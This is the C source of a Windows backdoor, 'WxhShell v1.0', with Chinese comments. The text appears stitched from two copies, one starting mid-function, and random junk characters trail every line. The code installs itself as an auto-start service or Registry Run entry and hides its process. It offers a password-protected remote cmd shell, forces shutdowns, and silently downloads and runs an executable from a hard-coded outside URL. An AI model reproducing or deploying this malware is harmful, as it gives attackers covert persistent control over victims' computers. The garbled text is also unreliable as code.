    ExitThread(0); P\;lH"9  
    } B&A4-w v  
    break; [dFxW6n  
    } XOzPi*V**  
  // 关机 P8!Vcy938  
  case 'd': { CYrVP%xRA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r AMnM>`  
    if(Boot(SHUTDOWN)) jPYed@[+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zR h1  
    else { fV*x2g7w  
    closesocket(wsh); Ous[{"-J  
    ExitThread(0); #6'oor X  
    } Vnuz! 6.  
    break; {'Nvs_{6  
    } `Bx3grZ 7&  
  // 获取shell QQP bKok>  
  case 's': { !%J;dOcU  
    CmdShell(wsh); SQ5SvYH  
    closesocket(wsh); /_v5B>  
    ExitThread(0); !zLd ,`  
    break; s$6zA j!  
  } dluNA(Xc-  
  // 退出 T8>:@EL-k  
  case 'x': { JC`|GaUy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :FwXoJc_+5  
    CloseIt(wsh); /Ik_U?$*  
    break; 6PT ,m  
    } t,= ta{ a  
  // 离开 c#nFm&}dm  
  case 'q': { kCxmC<34  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'p-jMD}O  
    closesocket(wsh); dgpo4'c}  
    WSACleanup(); s`xp6\$  
    exit(1); E-_)w  
    break; '{XDhK  
        } '#xxjhF^  
  } Rct|"k_"Ys  
  } r~F T,  
Qi2yaEB  
  // 提示信息 Xtbuy/8"1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qu BTRW9  
} Lx,"jA/  
  } l5Z=aW Q  
2NAGXWE  
  return; aUSxy8%  
} !uLAW_~  
@Ek''a$  
// shell模块句柄 m9ts&b+TE  
int CmdShell(SOCKET sock) F6h3M~uR  
{ K+Q81<X~  
STARTUPINFO si; UBqA[9  
ZeroMemory(&si,sizeof(si)); hLGUkG?6G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m9Gyjr'L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2H;&E1:  
PROCESS_INFORMATION ProcessInfo; sp0& " &5  
char cmdline[]="cmd"; G& cm5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G U~?S'{  
  return 0; @!fy24R]D  
} 0#F3@/1h  
*D #H-]9  
// 自身启动模式 A?|KA<&m#u  
int StartFromService(void) LSlaz  
{ x,IU]YW@  
typedef struct #rMMOu9r2  
{ |xQG  
  DWORD ExitStatus; :Gqyj_|<  
  DWORD PebBaseAddress; lG>rf*ei~  
  DWORD AffinityMask; xr?=gY3E;  
  DWORD BasePriority; 5 g99t$p9  
  ULONG UniqueProcessId; UoPd>q4Uj  
  ULONG InheritedFromUniqueProcessId; l>h%J,W  
}   PROCESS_BASIC_INFORMATION; c.6u)"@$  
rEfk5R  
PROCNTQSIP NtQueryInformationProcess; Ks@S5:9sp  
*!%y.$\cE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K6~N{:.s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ??=CAU%\  
/ivt8Uiw  
  HANDLE             hProcess; ,,mkB6;  
  PROCESS_BASIC_INFORMATION pbi; O^G/(  
l*uNi47|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $5yS`Iq S  
  if(NULL == hInst ) return 0; dG.s8r*?M  
3ag*dBbs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MHVqRYz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 78#je=MDg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QW6F24  
dr^pzM!N  
  if (!NtQueryInformationProcess) return 0; dm,7OQ  
,$Qa]UN5Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QX ishHk&  
  if(!hProcess) return 0; v3Tr6[9  
f3lFpS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <i^Bq=E<rJ  
c_}i(HQ  
  CloseHandle(hProcess); rOyK==8/Fg  
IGEf*!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Namw[Tg J  
if(hProcess==NULL) return 0; C>$5<bx  
8NudY3cU!  
HMODULE hMod; vrm[sP  
char procName[255]; K+dkImkh  
unsigned long cbNeeded; AR`X2m '  
7A8jnq7m/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eHF#ME  
I8gGP'  
  CloseHandle(hProcess); eJilSFp1  
ldrKk'S,B  
if(strstr(procName,"services")) return 1; // 以服务启动 P .3j |)NW  
Im{50%Y  
  return 0; // 注册表启动 Vi23pDZ5  
} V;L^q?v !  
x8.7])?w  
// 主模块 ~IZ'zuc  
int StartWxhshell(LPSTR lpCmdLine) ->6 /L)  
{ zHG KPuk'  
  SOCKET wsl; ( Z\OqG  
BOOL val=TRUE; $6XSW  
  int port=0; "w9`UFu%^e  
  struct sockaddr_in door; g)!B};AA  
9bl&\Ykt.  
  if(wscfg.ws_autoins) Install(); Ah='E$t  
+Qt=N6>  
port=atoi(lpCmdLine); />Tyiy]2uu  
i]Lt8DiRq  
if(port<=0) port=wscfg.ws_port; ,G e7 9(  
cn v4!c0  
  WSADATA data; gH Q[D|zu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; djS?$WBpU  
b(_PCVC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (u@[}!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .6xP>!E}Q  
  door.sin_family = AF_INET; ,E3"Ai sI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); } Ga@bY6  
  door.sin_port = htons(port); \o?zL7  
skR/Wf9DH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iUi{)xa2  
closesocket(wsl); I$\dT1m$  
return 1; Ljq/f& c  
} $@FD01h.t3  
m/| >4~  
  if(listen(wsl,2) == INVALID_SOCKET) { (Z=ziopDE  
closesocket(wsl); M]!R}<]{  
return 1; as)2ny!u  
} {0q;:7Bt  
  Wxhshell(wsl);  8;4vr@EV  
  WSACleanup(); Pqo _ +fL+  
Op,Ce4A  
return 0; bENfEOf,  
=#&K\  
} ?xGxr|+a  
4 `Z@^W  
// 以NT服务方式启动 pB@8b$8(Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'BpK(PlUh  
{ pNcNU[c  
DWORD   status = 0; *SzP7]1m  
  DWORD   specificError = 0xfffffff; AEX]_1TG  
#57nm]?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oylY1~~}0K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^uW](2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VW<s_  
  serviceStatus.dwWin32ExitCode     = 0; !X(Lvt/  
  serviceStatus.dwServiceSpecificExitCode = 0; ;/N[tO?Q  
  serviceStatus.dwCheckPoint       = 0; <t,uj.9_  
  serviceStatus.dwWaitHint       = 0;  LS,/EGJ  
bESmKe(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )@Z J3l.  
  if (hServiceStatusHandle==0) return; S59!+V  
{W3%n*q  
status = GetLastError(); $7a| 9s0  
  if (status!=NO_ERROR) ::g"dRS<v  
{ `~WxMY0M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8Z4d<DIJ  
    serviceStatus.dwCheckPoint       = 0; TgSU}Mf)a  
    serviceStatus.dwWaitHint       = 0; Ox8dnPcx  
    serviceStatus.dwWin32ExitCode     = status; B~cq T/\?  
    serviceStatus.dwServiceSpecificExitCode = specificError; p.n]y=o.)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F:%= u =  
    return; j2cLb  
  } <P'^olQ  
df nmUE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hqnJ@N$yY  
  serviceStatus.dwCheckPoint       = 0; (sW:^0p  
  serviceStatus.dwWaitHint       = 0; g.kpUs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k~>9,=::d  
} DifRpj I-0  
N;>>HN[bBP  
// 处理NT服务事件,比如:启动、停止 fGcAkEstT!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d@b0z$<s  
{ tE]g*]o  
switch(fdwControl) ,ZJI]Q=!  
{ COOazXtW  
case SERVICE_CONTROL_STOP: brb8C%j}9  
  serviceStatus.dwWin32ExitCode = 0; jZ7/p^c5R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V`TXn[7  
  serviceStatus.dwCheckPoint   = 0; /R8>f  
  serviceStatus.dwWaitHint     = 0; RV.z xPw>>  
  { $|C%G6!s?@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yUq,9.6Ig  
  } 5{zXh  
  return; q#pBlJ.LK  
case SERVICE_CONTROL_PAUSE: ?Mp~^sgp'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !3DWz6u  
  break; U; ?%rM6  
case SERVICE_CONTROL_CONTINUE: LbJ tU !  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~q?IG5s*Z  
  break; }H?8~S =  
case SERVICE_CONTROL_INTERROGATE: HPCzh  
  break; $ N5VoK  
}; k)'hNk"x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iv?'&IUfK  
} i 6kW"5t  
iVd*62$@$  
// 标准应用程序主函数 MnO,Cd6{%d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^8o'\V"m^  
{ /1h`O@VA  
m`g%\o^6i  
// 获取操作系统版本 #KXazZu"  
OsIsNt=GetOsVer(); Xf:CGR8_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mbsdiab#N  
^v}Z5,aN  
  // 从命令行安装 j$Vv'on  
  if(strpbrk(lpCmdLine,"iI")) Install(); {v+i!a'+  
&s"&rFFO[  
  // 下载执行文件 3Ym5SrKK  
if(wscfg.ws_downexe) { w^ui%9 &6H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0Q;T <% U  
  WinExec(wscfg.ws_filenam,SW_HIDE); )*G3q/l1u6  
} M`FsKK`  
[])M2_  
if(!OsIsNt) { }yLdU|'W  
// 如果时win9x,隐藏进程并且设置为注册表启动 Eg3rbqM- 8  
HideProc(); YZ7rs] A  
StartWxhshell(lpCmdLine); R# 8D}5[&  
} e=%7tK*  
else (gNI6;P;}  
  if(StartFromService()) %\}|&z6  
  // 以服务方式启动 DHbLS3-  
  StartServiceCtrlDispatcher(DispatchTable);  s+[_5n~  
else k)[}3oq  
  // 普通方式启动 en=Z[ZIPO  
  StartWxhshell(lpCmdLine); (iP,F]  
fm;1Iu#  
return 0; OZbwquF@  
}  elWN-~  
6[69|&  
394u']M  
A~ '2ki5$g  
=========================================== `kwyF27v]  
*na7/ysT<  
mppBc-#EYr  
Ufv{6"sH  
";`ddN3  
{uM0J$P:  
" E;$t|~ #  
Ufq"_^4  
#include <stdio.h> Wv77ef  
#include <string.h> 9K#.0  
#include <windows.h> P;VR[d4e/  
#include <winsock2.h> j~\\,fl=  
#include <winsvc.h> )P[B!  
#include <urlmon.h> nv{ou [vQ  
L -b~#  
#pragma comment (lib, "Ws2_32.lib") u,PrEmy-  
#pragma comment (lib, "urlmon.lib") m,K\e  
RL~\/#  
#define MAX_USER   100 // 最大客户端连接数 #Jy+:|jJ  
#define BUF_SOCK   200 // sock buffer /_*:  
#define KEY_BUFF   255 // 输入 buffer q .tVNKy%  
w6Dysg:  
#define REBOOT     0   // 重启 [^"e~  
#define SHUTDOWN   1   // 关机 L0UAS'hf  
-njxc{b  
#define DEF_PORT   5000 // 监听端口 vO]gj/SaT  
R{#-IH="  
#define REG_LEN     16   // 注册表键长度 UldKlQ8  
#define SVC_LEN     80   // NT服务名长度 vW"x)~B  
}C/}8<  
// 从dll定义API plsf` a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l2 gI2Cioa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L^RyJ;^c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vD:.1,72  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YCh!D dy  
9`{Mq9J  
// wxhshell配置信息 WN>.+qM~8  
struct WSCFG { (Uv{%q.n6  
  int ws_port;         // 监听端口 0w< iz;30  
  char ws_passstr[REG_LEN]; // 口令 tOnaD]J  
  int ws_autoins;       // 安装标记, 1=yes 0=no :lgIu .  
  char ws_regname[REG_LEN]; // 注册表键名 \Y>^L{  
  char ws_svcname[REG_LEN]; // 服务名 I4m)5G?O2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2}[rc%tV:?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $]|_xG-6{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R j(="+SPj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y|.wL=;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5Lu m$C c}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VY=~cVkzS  
GY@Np^>[a  
}; 9rn!U2  
@F=ZGmq  
// default Wxhshell configuration 8}xU]N#EV  
struct WSCFG wscfg={DEF_PORT, 2J9eeN  
    "xuhuanlingzhe", S]<G|mn,  
    1, RZOk.~[v  
    "Wxhshell", J-Sf9^G  
    "Wxhshell", '! yyg#  
            "WxhShell Service", b2U[W#  
    "Wrsky Windows CmdShell Service", `"GD'Oa  
    "Please Input Your Password: ", (cC5zv*E  
  1, fN0D\Mu!)b  
  "http://www.wrsky.com/wxhshell.exe", aR}NAL_`w  
  "Wxhshell.exe" m"86O:S#d  
    }; [<wy @W  
/PPk p9H{  
// 消息定义模块 #kLM=a/_NO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g0g/<Tv[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lCd^|E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oWs&W  
char *msg_ws_ext="\n\rExit.";  vFl|  
char *msg_ws_end="\n\rQuit."; _32ltnBX  
char *msg_ws_boot="\n\rReboot..."; !Z%QD\knY  
char *msg_ws_poff="\n\rShutdown..."; A.35WGu&:  
char *msg_ws_down="\n\rSave to ";  gxU(&  
(>WV)  
char *msg_ws_err="\n\rErr!"; *eUL1m8Y  
char *msg_ws_ok="\n\rOK!"; rp=?4^(u  
%{zM> le9  
char ExeFile[MAX_PATH]; DgClN:Hw  
int nUser = 0; HeSnj-mtr}  
HANDLE handles[MAX_USER]; 7T4rx53  
int OsIsNt; i;/qJKr&#  
&+&^Hc  
SERVICE_STATUS       serviceStatus; C$ZY=UXz!T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e= 8ccj  
V X211U.Q  
// 函数声明 -[ ^wYr=  
int Install(void); (e F5?I  
int Uninstall(void); ^,U&v;   
int DownloadFile(char *sURL, SOCKET wsh); %}'sFu m`  
int Boot(int flag); n[ba  
void HideProc(void); v^,A~oe`t  
int GetOsVer(void); _NA]= #J  
int Wxhshell(SOCKET wsl); Ta9;;B?$  
void TalkWithClient(void *cs); *D4H;P#  
int CmdShell(SOCKET sock); >4h4t/G  
int StartFromService(void); $?*+P``  
int StartWxhshell(LPSTR lpCmdLine); jLb3{}0  
>z[d ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2GZUMXK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HL88  
m#8}!u&  
// 数据结构和表定义 Bu 6t3  
SERVICE_TABLE_ENTRY DispatchTable[] = Bm~>w`1wK  
{ ;uba  
{wscfg.ws_svcname, NTServiceMain}, >!bYuVHA  
{NULL, NULL} U$Ew,v<  
}; >D-$M_  
/f0_mi,bD  
// 自我安装 _fMooI)U1  
int Install(void) |d{(&s}  
{ ~PoGuj2wA  
  char svExeFile[MAX_PATH]; 0&5}[9?V'  
  HKEY key; Or_9KX2  
  strcpy(svExeFile,ExeFile); foL`{fA  
<JKPtF2b  
// 如果是win9x系统,修改注册表设为自启动 f kP WGd  
if(!OsIsNt) { ~_S`zzcZy4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [FC%_R&&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \[,7#  
  RegCloseKey(key); oiFtPki  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n`^</0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %>JqwMK  
  RegCloseKey(key); NugJjd56x  
  return 0; 4pc=MR  
    } *YtITyDS3>  
  } 0 _&oMPY  
} `bH Eu"(,  
else { uQ8]j.0  
:+-s7'!4  
// 如果是NT以上系统,安装为系统服务 mtTJm4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4Pz9&^K  
if (schSCManager!=0) \!w7 N :m  
{ -n Hc52,  
  SC_HANDLE schService = CreateService E"w7/k#3}C  
  ( & JF^a  
  schSCManager, B<0lif|  
  wscfg.ws_svcname, 9ykmz (  
  wscfg.ws_svcdisp, sq<y2j1oF  
  SERVICE_ALL_ACCESS, }* BY!5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !PQ@"L)p  
  SERVICE_AUTO_START, nY~CAo/:  
  SERVICE_ERROR_NORMAL, <Ft.{aNq$c  
  svExeFile, ,l@hhaLm?  
  NULL, ^8fO3<Jg  
  NULL, T.K$a\/{,  
  NULL, ,u\M7,a^  
  NULL, @Z|cUHo  
  NULL JFZZ-t;*  
  ); e@I?ESZ5  
  if (schService!=0) Y$,]~Qzq  
  { QTP1u  
  CloseServiceHandle(schService); <X;y 4lPZ  
  CloseServiceHandle(schSCManager); o9Agx{'oV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); */Y@:Sjf  
  strcat(svExeFile,wscfg.ws_svcname); ]INbRytvc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )IhI~,0Nmj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y@L`XNl  
  RegCloseKey(key); HPt"  
  return 0; T> 1E  
    } Yoaz|7LS  
  } "}ZD-O`!  
  CloseServiceHandle(schSCManager); 85H8`YwPh  
} . e]!i(5I  
} 3S <5s}  
`FmI?:Cv  
return 1; 6BMRl%3>Z  
} T4Zp5m")  
yfaXScbE  
// 自我卸载 UUA7m$F1  
int Uninstall(void) m >'o&Hj  
{ K_}vmB\2l  
  HKEY key; ,AM6E63  
.}z&$:U9[  
if(!OsIsNt) { 5[;p<GqGN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JEBx|U$'Y  
  RegDeleteValue(key,wscfg.ws_regname); VT-&"Jn  
  RegCloseKey(key); KDCq::P<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ybB/sShGM  
  RegDeleteValue(key,wscfg.ws_regname); 8"p>_K=  
  RegCloseKey(key); r$0" Y-a  
  return 0; H!vvdp?Z  
  } > Y[{m $-  
} 1UmV &  
} o&X!75^G>  
else { kw1PIuz4&  
< FN[{YsA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ! .!qJ%  
if (schSCManager!=0) C96|T>bk  
{ <.=   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q=>@:1=  
  if (schService!=0) s%p(_pB  
  { bBg?x 4bu  
  if(DeleteService(schService)!=0) { iD{;!dUZ  
  CloseServiceHandle(schService); FK+jfr [  
  CloseServiceHandle(schSCManager); "Tfbd^AU  
  return 0; >. zk-`>-  
  } 0y6nMI  
  CloseServiceHandle(schService); 2MJ0[9  
  } J *^|ojX  
  CloseServiceHandle(schSCManager); ]D<r5P%  
} x{IOn;>R  
} /G</ [N5  
whRc YnJ  
return 1; |\elM[G"g  
} wUl}x)xo  
9jJ&QACn  
// 从指定url下载文件 x?f3XEA_  
int DownloadFile(char *sURL, SOCKET wsh) R$cg\DD  
{ {n |Ra[9_  
  HRESULT hr; ^oPf>\),C  
char seps[]= "/"; gLu#M:4N  
char *token; %tmK6cY4Y  
char *file; ssoe$Gr7>  
char myURL[MAX_PATH]; Ro? 4tGn  
char myFILE[MAX_PATH]; Tb~(?nY5  
*I>1O*  
strcpy(myURL,sURL); R]L 7?=  
  token=strtok(myURL,seps); >Rx^@yQ!+z  
  while(token!=NULL) hOw7"'# !  
  { [x,_0-_  
    file=token; aS62S9nwX  
  token=strtok(NULL,seps); nq A> }A  
  } Xgop1  
Xc`'i@FX  
GetCurrentDirectory(MAX_PATH,myFILE); X}g!Lp  
strcat(myFILE, "\\"); a i}8+L8-  
strcat(myFILE, file); \e( h6,@  
  send(wsh,myFILE,strlen(myFILE),0); {:'e H  
send(wsh,"...",3,0);  27w]Q_C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8n1Sy7K!;  
  if(hr==S_OK) He&dVP  
return 0; ]< TgBo|  
else K4A=lD+  
return 1; ! QP~#a%  
o;-)84Aa  
} TRX; m|   
@cSz!E}  
// 系统电源模块 -1Tws|4gc  
int Boot(int flag) P ,5P6Y9  
{ S'2B  
  HANDLE hToken; D4;V8(w=#  
  TOKEN_PRIVILEGES tkp; ]\*g/QV  
~@TNVkw  
  if(OsIsNt) { k >U&Us0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8?P@<Do%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +KXg&A/^  
    tkp.PrivilegeCount = 1; Q4q3M=0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; " c}pY^(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %6dFACv  
if(flag==REBOOT) { ; l+3l ez  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %w_h8  
  return 0; (g4.bbEm  
} D.U)R7(  
else { B9Y "J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sxf<8Px9i  
  return 0; zziujs:  
} R:Z{,R+  
  } Nn4<:2  
  else {  |Pwb7:a3  
if(flag==REBOOT) { [2.pZB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4k<4=E  
  return 0; xH e<TwkI  
} uRwIxT2  
else { {i`BDOaL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g:O~1jq  
  return 0; kcM9 ,bG  
} d; V  
} RcMW%q$dG  
*W%HTt"N  
return 1; l`fjz-eE  
} h#'(UZ  
1}B W   
// win9x进程隐藏模块 mgh,)=2cE(  
void HideProc(void) B k#68p  
{ }(O 7tC  
l[L\|hv'n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;40!2P8t  
  if ( hKernel != NULL ) @kRe0:t  
  { jQC6N#L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gb~*[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *A;~~ SQ  
    FreeLibrary(hKernel); TV0(uMZ0+'  
  } E(>RmPP=7  
[:TOU^  
return; Bp>%'L  
} L]9uY  
9<}d98  
// 获取操作系统版本 C3hnX2";  
int GetOsVer(void) ,]42v?  
{ 91}QuYv/_  
  OSVERSIONINFO winfo; ! E#XmYhX=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bu,Z'  
  GetVersionEx(&winfo); VQ{}S $jQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) thl{IU  
  return 1; # ]&=]K1V  
  else <Y9((QSM4  
  return 0; <s)+V6 \E  
} FsTE.PT  
qun#z$  
// 客户端句柄模块 $xa#+  
int Wxhshell(SOCKET wsl) 7V%}U5  
{ CKmoC0.  
  SOCKET wsh; MjQKcL4%7  
  struct sockaddr_in client; Vq -!1.v3  
  DWORD myID; rwv_ RN  
2.Th29]  
  while(nUser<MAX_USER) tB8XnO_c  
{ K q: +{'  
  int nSize=sizeof(client); H&6lQ30/)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _t 'Kj \  
  if(wsh==INVALID_SOCKET) return 1; #Kn=Q  
4\Mh2z5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?SkYFa`u*  
if(handles[nUser]==0) <RKh%4#~  
  closesocket(wsh); =YE"6iU  
else 1 nIb/nY  
  nUser++; 4%aODr8  
  } ? D2:'gg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]SFB_5Gb  
GG/~)^VMe  
  return 0; 0<Vw0%!  
} @ {j'Pf'  
v@&&5J|  
// 关闭 socket ijw'7d|,  
void CloseIt(SOCKET wsh) 0jro0f'  
{ yOxJx7uD  
closesocket(wsh); ]}<wS ]1  
nUser--; ?tQUZO  
ExitThread(0); "AS;\-Jk  
} GX4# IRq  
g0 \c  
// 客户端请求句柄 IwiR2K  
void TalkWithClient(void *cs) B!jT@b{  
{ +D& W!m  
s,\!@[N  
  SOCKET wsh=(SOCKET)cs; K)`, |q* \  
  char pwd[SVC_LEN]; ;sT7c1X^!  
  char cmd[KEY_BUFF]; N^Xb_jg;J  
char chr[1]; G sm5L<rx  
int i,j; V)^nVD)e  
;Bd0 =C  
  while (nUser < MAX_USER) { hvnZ 2x.?d  
RM|<(kq  
if(wscfg.ws_passstr) { >t.2!Z_RQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5lu620o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KcF2}+iM   
  //ZeroMemory(pwd,KEY_BUFF); xwW[6Ah  
      i=0; #6[FGM  
  while(i<SVC_LEN) { & ;ie+/B  
q*SX.A>YR  
  // 设置超时 ,ic.b @u1  
  fd_set FdRead; )wQR2$x~  
  struct timeval TimeOut; ~^2Y*|{)  
  FD_ZERO(&FdRead); ~N&j6wHg#  
  FD_SET(wsh,&FdRead); | y\B*P  
  TimeOut.tv_sec=8; MS%xOB*6  
  TimeOut.tv_usec=0; Q|rrbxb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?{mFQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N1jj\.nB  
%u-l6<w# R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #*:y2W%H  
  pwd=chr[0]; ]d&6 ?7 !>  
  if(chr[0]==0xd || chr[0]==0xa) { X<9jBj/t  
  pwd=0; 'QFf 7A  
  break; ,9^wKS!7$  
  } P PZxH}J.  
  i++; L&+XFntR  
    } d}GO(  
'=EaZ>=  
  // 如果是非法用户,关闭 socket ExqI=k`Zs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hs}nI/#  
} SWvy< f4<  
]7}2"?J4v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]xBQ7Xqf|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^EdY:6NJ=A  
pP;GDW4  
while(1) { D:sQHJ. y  
v4kk4}lE  
  ZeroMemory(cmd,KEY_BUFF); r3<yG"J86  
*IJctYJaX  
      // 自动支持客户端 telnet标准   <\|f;7/  
  j=0; Z#IRNFj  
  while(j<KEY_BUFF) { 8 C@iD%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^|5bK_Z&  
  cmd[j]=chr[0]; )s4#)E1  
  if(chr[0]==0xa || chr[0]==0xd) { ,kfUlv=  
  cmd[j]=0; |tC!`.^\  
  break; f7mP4[+dS  
  } "15mOW(!+  
  j++; &uI`Xq.  
    } _V^^%$  
3N|,c]|  
  // 下载文件 /!rH DcR  
  if(strstr(cmd,"http://")) { dU+28  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tJy6\~  
